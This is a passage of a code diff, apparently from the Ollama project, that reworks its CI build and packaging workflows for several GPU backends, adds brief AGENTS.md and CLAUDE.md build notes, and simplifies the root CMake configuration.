$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- name: Verify gcc is actually clang
|
||||
run: |
|
||||
$ErrorActionPreference='Continue'
|
||||
$version=& gcc -v 2>&1
|
||||
$version=$version -join "`n"
|
||||
echo "gcc is $version"
|
||||
if ($version -notmatch 'clang') {
|
||||
echo "ERROR: GCC must be clang for proper utf16 handling"
|
||||
exit 1
|
||||
}
|
||||
$ErrorActionPreference='Stop'
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: "20"
|
||||
- name: Build Windows binaries and app launchers
|
||||
run: ./scripts/build_windows.ps1 ollama ollamaArm64 app appArm64
|
||||
- name: Verify Windows build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-arm64/ollama.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: build-windows-amd64
|
||||
path: dist\*
|
||||
compression-level: 0
|
||||
|
||||
windows-package:
|
||||
runs-on: windows
|
||||
needs: [setup-environment, windows-build, windows-depends]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: depends-windows*
|
||||
path: dist
|
||||
merge-multiple: true
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: build-windows*
|
||||
path: dist
|
||||
merge-multiple: true
|
||||
- name: Copy unsigned install script
|
||||
run: Copy-Item -Path .\scripts\install.ps1 -Destination .\dist\install.ps1 -ErrorAction Stop
|
||||
- name: Log dist contents after download
|
||||
run: gci -path .\dist -recurse
|
||||
- name: Verify Windows package inputs
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/ollama.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- name: Build unsigned Windows installer and zips
|
||||
run: ./scripts/build_windows.ps1 deps installer zip
|
||||
- name: Log contents after build
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- name: Verify Windows package outputs
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/ollama-windows-amd64.zip \
|
||||
dist/ollama-windows-arm64.zip \
|
||||
dist/ollama-windows-amd64-rocm.zip \
|
||||
dist/OllamaSetup.exe \
|
||||
dist/install.ps1
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-windows-amd64.zip
|
||||
path: dist/ollama-windows-amd64.zip
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-windows-arm64.zip
|
||||
path: dist/ollama-windows-arm64.zip
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-windows-amd64-rocm.zip
|
||||
path: dist/ollama-windows-amd64-rocm.zip
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: OllamaSetup.exe
|
||||
path: dist/OllamaSetup.exe
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: install.ps1
|
||||
path: dist/install.ps1
|
||||
compression-level: 0
|
||||
+159
-37
@@ -22,7 +22,8 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
changed: ${{ steps.changes.outputs.changed }}
|
||||
vendorsha: ${{ steps.changes.outputs.vendorsha }}
|
||||
app_changed: ${{ steps.changes.outputs.app_changed }}
|
||||
enginehash: ${{ steps.changes.outputs.enginehash }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
@@ -37,8 +38,42 @@ jobs:
|
||||
| xargs python3 -c "import sys; from pathlib import Path; print(any(Path(x).match(glob) for x in sys.argv[1:] for glob in '$*'.split(' ')))"
|
||||
}
|
||||
|
||||
echo changed=$(changed 'llama/llama.cpp/**/*' 'ml/backend/ggml/ggml/**/*' '.github/**/*') | tee -a $GITHUB_OUTPUT
|
||||
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
|
||||
echo changed=$(changed \
|
||||
'CMakeLists.txt' \
|
||||
'CMakePresets.json' \
|
||||
'cmake/**' \
|
||||
'cmake/**/*' \
|
||||
'llama/server/**/*' \
|
||||
'llama/compat/**/*' \
|
||||
'LLAMA_CPP_VERSION' \
|
||||
'MLX_VERSION' \
|
||||
'MLX_C_VERSION' \
|
||||
'llama/llama.cpp/**/*' \
|
||||
'ml/backend/ggml/ggml/**/*' \
|
||||
'x/imagegen/mlx/**' \
|
||||
'x/imagegen/mlx/**/*' \
|
||||
'.github/**/*') | tee -a $GITHUB_OUTPUT
|
||||
echo app_changed=$(changed 'app/**' 'app/**/*') | tee -a $GITHUB_OUTPUT
|
||||
echo enginehash=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
|
||||
|
||||
patches:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Verify patches apply cleanly
|
||||
shell: bash
|
||||
run: |
|
||||
cmake -S llama/server -B "$RUNNER_TEMP/llama-server-patch-check" \
|
||||
-DCMAKE_BUILD_TYPE=Release \
|
||||
-DBUILD_SHARED_LIBS=ON \
|
||||
-DGGML_BACKEND_DL=ON \
|
||||
-DGGML_NATIVE=OFF \
|
||||
-DGGML_OPENMP=OFF \
|
||||
-DGGML_CPU_ALL_VARIANTS=ON \
|
||||
-DOLLAMA_RUNNER_DIR=
|
||||
|
||||
linux:
|
||||
needs: [changes]
|
||||
@@ -47,23 +82,41 @@ jobs:
|
||||
matrix:
|
||||
include:
|
||||
- preset: CPU
|
||||
superbuild_target: ollama-local
|
||||
superbuild_dir: build/local-superbuild
|
||||
superbuild_args: ''
|
||||
expected_payload: lib/ollama/llama-server
|
||||
install-go: true
|
||||
- preset: CUDA
|
||||
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=87'
|
||||
superbuild_target: ollama-llama-server-cuda_v13
|
||||
superbuild_dir: build/local-superbuild-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87'
|
||||
expected_payload: lib/ollama/cuda_v13/libggml-cuda.so
|
||||
- preset: ROCm
|
||||
container: rocm/dev-ubuntu-22.04:7.2.1
|
||||
extra-packages: rocm-libs
|
||||
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
|
||||
superbuild_target: ollama-llama-server-rocm_v7_2
|
||||
superbuild_dir: build/local-superbuild-rocm_v7_2
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
|
||||
expected_payload: lib/ollama/rocm_v7_2/libggml-hip.so
|
||||
- preset: Vulkan
|
||||
container: ubuntu:22.04
|
||||
extra-packages: >
|
||||
mesa-vulkan-drivers vulkan-tools
|
||||
libvulkan1 libvulkan-dev
|
||||
vulkan-sdk cmake ccache g++ make
|
||||
vulkan-sdk spirv-headers cmake ccache g++ make
|
||||
superbuild_target: ollama-llama-server-vulkan
|
||||
superbuild_dir: build/local-superbuild-vulkan
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
|
||||
expected_payload: lib/ollama/vulkan/libggml-vulkan.so
|
||||
- preset: 'MLX CUDA 13'
|
||||
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
|
||||
extra-packages: libcudnn9-dev-cuda-13 libopenblas-dev liblapack-dev liblapacke-dev git curl
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=87 -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
|
||||
superbuild_target: ollama-mlx-cuda_v13
|
||||
superbuild_dir: build/local-superbuild-mlx-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
|
||||
expected_payload: lib/ollama/mlx_cuda_v13/libmlx.so
|
||||
install-go: true
|
||||
runs-on: linux
|
||||
container: ${{ matrix.container }}
|
||||
@@ -80,11 +133,9 @@ jobs:
|
||||
echo "deb [signed-by=/usr/share/keyrings/lunarg-archive-keyring.gpg] https://packages.lunarg.com/vulkan/1.4.313 jammy main" | $sudo tee /etc/apt/sources.list.d/lunarg-vulkan-1.4.313-jammy.list > /dev/null
|
||||
$sudo apt-get update
|
||||
fi
|
||||
$sudo apt-get install -y cmake ccache ${{ matrix.extra-packages }}
|
||||
# MLX requires CMake 3.25+, install from official releases
|
||||
if [ "${{ matrix.preset }}" = "MLX CUDA 13" ]; then
|
||||
curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
|
||||
fi
|
||||
$sudo apt-get install -y cmake ccache curl git ${{ matrix.extra-packages }}
|
||||
# Use a current CMake for upstream llama.cpp and Vulkan dependency discovery.
|
||||
curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
|
||||
# Export VULKAN_SDK if provided by LunarG package (defensive)
|
||||
if [ -d "/usr/lib/x86_64-linux-gnu/vulkan" ] && [ "${{ matrix.preset }}" = "Vulkan" ]; then
|
||||
echo "VULKAN_SDK=/usr" >> $GITHUB_ENV
|
||||
@@ -94,17 +145,30 @@ jobs:
|
||||
- if: matrix.install-go
|
||||
name: Install Go
|
||||
run: |
|
||||
[ -n "${{ matrix.container }}" ] || sudo=sudo
|
||||
GO_VERSION=$(awk '/^go / { print $2 }' go.mod)
|
||||
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | tar xz -C /usr/local
|
||||
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | $sudo tar xz -C /usr/local
|
||||
echo "/usr/local/go/bin" >> $GITHUB_PATH
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: /github/home/.cache/ccache
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
|
||||
- run: |
|
||||
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
|
||||
cmake --build --preset "${{ matrix.preset }}" --parallel
|
||||
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
|
||||
- name: Build native superbuild
|
||||
if: matrix.superbuild_target
|
||||
run: |
|
||||
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
|
||||
CMAKE_BUILD_PARALLEL_LEVEL=$(nproc) cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $(nproc)
|
||||
test -e "${{ matrix.superbuild_dir }}/${{ matrix.expected_payload }}"
|
||||
- name: Verify local superbuild install
|
||||
if: matrix.superbuild_target == 'ollama-local'
|
||||
run: |
|
||||
./ollama --version
|
||||
"${{ matrix.superbuild_dir }}/lib/ollama/llama-server" --version
|
||||
test -x "${{ matrix.superbuild_dir }}/lib/ollama/llama-quantize"
|
||||
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$RUNNER_TEMP/ollama-local"
|
||||
"$RUNNER_TEMP/ollama-local/bin/ollama" --version
|
||||
"$RUNNER_TEMP/ollama-local/lib/ollama/llama-server" --version
|
||||
test -x "$RUNNER_TEMP/ollama-local/lib/ollama/llama-quantize"
|
||||
windows:
|
||||
needs: [changes]
|
||||
if: needs.changes.outputs.changed == 'True'
|
||||
@@ -112,9 +176,16 @@ jobs:
|
||||
matrix:
|
||||
include:
|
||||
- preset: CPU
|
||||
superbuild_target: ollama-local
|
||||
superbuild_dir: build\local-superbuild
|
||||
superbuild_args: ''
|
||||
expected_payload: lib\ollama\llama-server.exe
|
||||
- preset: CUDA
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
|
||||
superbuild_target: ollama-llama-server-cuda_v13
|
||||
superbuild_dir: build\local-superbuild-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80'
|
||||
expected_payload: lib\ollama\cuda_v13\ggml-cuda.dll
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
@@ -125,14 +196,26 @@ jobs:
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
- preset: ROCm
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
|
||||
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
|
||||
rocm-version: '7.1'
|
||||
superbuild_target: ollama-llama-server-rocm_v7_1
|
||||
superbuild_dir: build\local-superbuild-rocm_v7_1
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_1 -DAMDGPU_TARGETS=gfx1010'
|
||||
expected_payload: lib\ollama\rocm_v7_1\ggml-hip.dll
|
||||
- preset: Vulkan
|
||||
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
|
||||
superbuild_target: ollama-llama-server-vulkan
|
||||
superbuild_dir: build\local-superbuild-vulkan
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
|
||||
expected_payload: lib\ollama\vulkan\ggml-vulkan.dll
|
||||
- preset: 'MLX CUDA 13'
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
|
||||
superbuild_target: ollama-mlx-cuda_v13
|
||||
superbuild_dir: build\local-superbuild-mlx-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
|
||||
expected_payload: lib\ollama\mlx_cuda_v13\mlx.dll
|
||||
install-go: true
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
@@ -201,6 +284,10 @@ jobs:
|
||||
}
|
||||
|
||||
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
|
||||
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
|
||||
if (Test-Path $vulkanRuntime) {
|
||||
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
|
||||
}
|
||||
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
|
||||
- if: matrix.preset == 'MLX CUDA 13'
|
||||
@@ -230,18 +317,44 @@ jobs:
|
||||
C:\Program Files\NVIDIA\CUDNN
|
||||
key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
|
||||
- uses: actions/checkout@v4
|
||||
- if: matrix.superbuild_target == 'ollama-local' || matrix.install-go
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: 'go.mod'
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: ${{ github.workspace }}\.ccache
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
|
||||
- run: |
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
|
||||
- name: Build native superbuild
|
||||
if: matrix.superbuild_target
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
|
||||
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
|
||||
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
|
||||
cmake --build --parallel --preset "${{ matrix.preset }}"
|
||||
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
|
||||
$env:CMAKE_BUILD_PARALLEL_LEVEL = [Environment]::ProcessorCount
|
||||
cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $([Environment]::ProcessorCount)
|
||||
if (!(Test-Path "${{ matrix.superbuild_dir }}\${{ matrix.expected_payload }}")) {
|
||||
throw "missing ${{ matrix.expected_payload }}"
|
||||
}
|
||||
env:
|
||||
CMAKE_GENERATOR: Ninja
|
||||
|
||||
- name: Verify local superbuild install
|
||||
if: matrix.superbuild_target == 'ollama-local'
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
& ".\ollama.exe" --version
|
||||
& "${{ matrix.superbuild_dir }}\lib\ollama\llama-server.exe" --version
|
||||
if (!(Test-Path "${{ matrix.superbuild_dir }}\lib\ollama\llama-quantize.exe")) {
|
||||
throw "missing llama-quantize.exe"
|
||||
}
|
||||
$installPrefix = Join-Path $env:RUNNER_TEMP "ollama-local"
|
||||
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$installPrefix"
|
||||
& "$installPrefix\bin\ollama.exe" --version
|
||||
& "$installPrefix\lib\ollama\llama-server.exe" --version
|
||||
if (!(Test-Path "$installPrefix\lib\ollama\llama-quantize.exe")) {
|
||||
throw "missing installed llama-quantize.exe"
|
||||
}
|
||||
go_mod_tidy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
@@ -250,6 +363,7 @@ jobs:
|
||||
run: go mod tidy --diff || (echo "Please run 'go mod tidy'." && exit 1)
|
||||
|
||||
test:
|
||||
needs: [changes]
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macos-latest, windows-latest]
|
||||
@@ -263,7 +377,9 @@ jobs:
|
||||
go-version-file: 'go.mod'
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
Makefile.sync
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '20'
|
||||
@@ -277,6 +393,17 @@ jobs:
|
||||
if: ${{ startsWith(matrix.os, 'ubuntu') }}
|
||||
working-directory: ./app/ui/app
|
||||
run: npm test
|
||||
- name: Verify MLX generated files are current
|
||||
if: ${{ startsWith(matrix.os, 'ubuntu') }}
|
||||
run: |
|
||||
cmake -S . -B build/mlx-generate -DOLLAMA_MLX_BACKENDS=cuda_v13
|
||||
cmake --build build/mlx-generate --target ollama-mlx-generate-wrappers
|
||||
git diff --exit-code -- \
|
||||
x/imagegen/mlx/mlx.h \
|
||||
x/imagegen/mlx/mlx.c \
|
||||
x/mlxrunner/mlx/generated.h \
|
||||
x/mlxrunner/mlx/generated.c \
|
||||
x/mlxrunner/mlx/include/mlx/c
|
||||
- name: Run go generate
|
||||
run: go generate ./...
|
||||
|
||||
@@ -284,15 +411,10 @@ jobs:
|
||||
if: always()
|
||||
run: go test -count=1 -benchtime=1x ./...
|
||||
|
||||
- name: go test app with live updater tag
|
||||
if: ${{ needs.changes.outputs.app_changed == 'True' && contains(fromJSON('["macos-latest","windows-latest"]'), matrix.os) }}
|
||||
run: go test -count=1 -tags updater_live ./app/...
|
||||
|
||||
- uses: golangci/golangci-lint-action@v9
|
||||
with:
|
||||
only-new-issues: true
|
||||
|
||||
patches:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Verify patches apply cleanly and do not change files
|
||||
run: |
|
||||
make -f Makefile.sync clean checkout apply-patches sync
|
||||
git diff --compact-summary --exit-code
|
||||
@@ -0,0 +1,21 @@
|
||||
# AGENTS.md
|
||||
|
||||
## Building
|
||||
|
||||
For a full build from the repository root:
|
||||
|
||||
```sh
|
||||
cmake -B build .
|
||||
cmake --build build --parallel 8
|
||||
./ollama serve
|
||||
```
|
||||
|
||||
For quick Go-only iteration against an existing native payload:
|
||||
|
||||
```sh
|
||||
go build .
|
||||
go run . serve
|
||||
```
|
||||
|
||||
See `docs/development.md` for prerequisites, platform notes, GPU backends, and
|
||||
the full development workflow.
|
||||
@@ -0,0 +1,3 @@
|
||||
# CLAUDE.md
|
||||
|
||||
See `AGENTS.md` for the shared agent instructions for this repository.
|
||||
+21
-319
@@ -1,4 +1,4 @@
|
||||
cmake_minimum_required(VERSION 3.21)
|
||||
cmake_minimum_required(VERSION 3.24)
|
||||
|
||||
project(Ollama C CXX)
|
||||
|
||||
@@ -23,30 +23,23 @@ include(GNUInstallDirs)
|
||||
|
||||
find_package(Threads REQUIRED)
|
||||
|
||||
set(CMAKE_BUILD_TYPE Release)
|
||||
set(BUILD_SHARED_LIBS ON)
|
||||
if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
|
||||
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
|
||||
endif()
|
||||
|
||||
# These defaults can be overridden by presets (e.g., for static macOS llama-server builds)
|
||||
if(NOT DEFINED BUILD_SHARED_LIBS)
|
||||
set(BUILD_SHARED_LIBS ON)
|
||||
endif()
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX Requires gnu++17 extensions to compile properly
|
||||
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX require gnu++17 extensions to compile properly
|
||||
|
||||
set(GGML_BUILD ON)
|
||||
set(GGML_SHARED ON)
|
||||
set(GGML_CCACHE ON)
|
||||
set(GGML_BACKEND_DL ON)
|
||||
set(GGML_BACKEND_SHARED ON)
|
||||
set(GGML_SCHED_MAX_COPIES 4)
|
||||
|
||||
set(GGML_LLAMAFILE ON)
|
||||
set(GGML_CUDA_PEER_MAX_BATCH_SIZE 128)
|
||||
set(GGML_CUDA_GRAPHS ON)
|
||||
set(GGML_CUDA_FA ON)
|
||||
set(GGML_CUDA_COMPRESSION_MODE default)
|
||||
|
||||
if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
|
||||
OR (NOT CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_SYSTEM_PROCESSOR MATCHES "arm|aarch64|ARM64|ARMv[0-9]+"))
|
||||
set(GGML_CPU_ALL_VARIANTS ON)
|
||||
endif()
|
||||
# GGML backend for inference is provided by llama-server (built separately via
|
||||
# llama/server/CMakeLists.txt using FetchContent from the pinned llama.cpp source).
|
||||
# The root CMake project is the orchestration entrypoint; backend-specific
|
||||
# build rules live in subprojects under cmake/.
|
||||
|
||||
if(APPLE)
|
||||
set(CMAKE_BUILD_RPATH "@loader_path")
|
||||
@@ -55,7 +48,8 @@ if(APPLE)
|
||||
endif()
|
||||
|
||||
set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
|
||||
set(OLLAMA_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/lib/ollama/${OLLAMA_RUNNER_DIR})
|
||||
set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
|
||||
set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
|
||||
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
@@ -64,301 +58,9 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
|
||||
|
||||
# Store ggml include paths for use with target_include_directories later.
|
||||
# We avoid global include_directories() to prevent polluting the include path
|
||||
# for other projects like MLX (whose openblas dependency has its own common.h).
|
||||
set(GGML_INCLUDE_DIRS
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/include
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu/amx
|
||||
)
|
||||
|
||||
add_compile_definitions(NDEBUG GGML_VERSION=0x0 GGML_COMMIT=0x0)
|
||||
|
||||
# Define GGML version variables for shared library SOVERSION
|
||||
# These are required by ggml/src/CMakeLists.txt for proper library versioning
|
||||
set(GGML_VERSION_MAJOR 0)
|
||||
set(GGML_VERSION_MINOR 0)
|
||||
set(GGML_VERSION_PATCH 0)
|
||||
set(GGML_VERSION "${GGML_VERSION_MAJOR}.${GGML_VERSION_MINOR}.${GGML_VERSION_PATCH}")
|
||||
|
||||
set(GGML_CPU ON)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
|
||||
set_property(TARGET ggml PROPERTY EXCLUDE_FROM_ALL TRUE)
|
||||
|
||||
get_target_property(CPU_VARIANTS ggml-cpu MANUALLY_ADDED_DEPENDENCIES)
|
||||
if(NOT CPU_VARIANTS)
|
||||
set(CPU_VARIANTS "ggml-cpu")
|
||||
endif()
|
||||
|
||||
# Apply ggml include directories to ggml targets only (not globally)
|
||||
target_include_directories(ggml-base PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
foreach(variant ${CPU_VARIANTS})
|
||||
if(TARGET ${variant})
|
||||
target_include_directories(${variant} PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
endif()
|
||||
endforeach()
|
||||
|
||||
install(TARGETS ggml-base ${CPU_VARIANTS}
|
||||
RUNTIME_DEPENDENCIES
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
|
||||
)
|
||||
|
||||
check_language(CUDA)
|
||||
if(CMAKE_CUDA_COMPILER)
|
||||
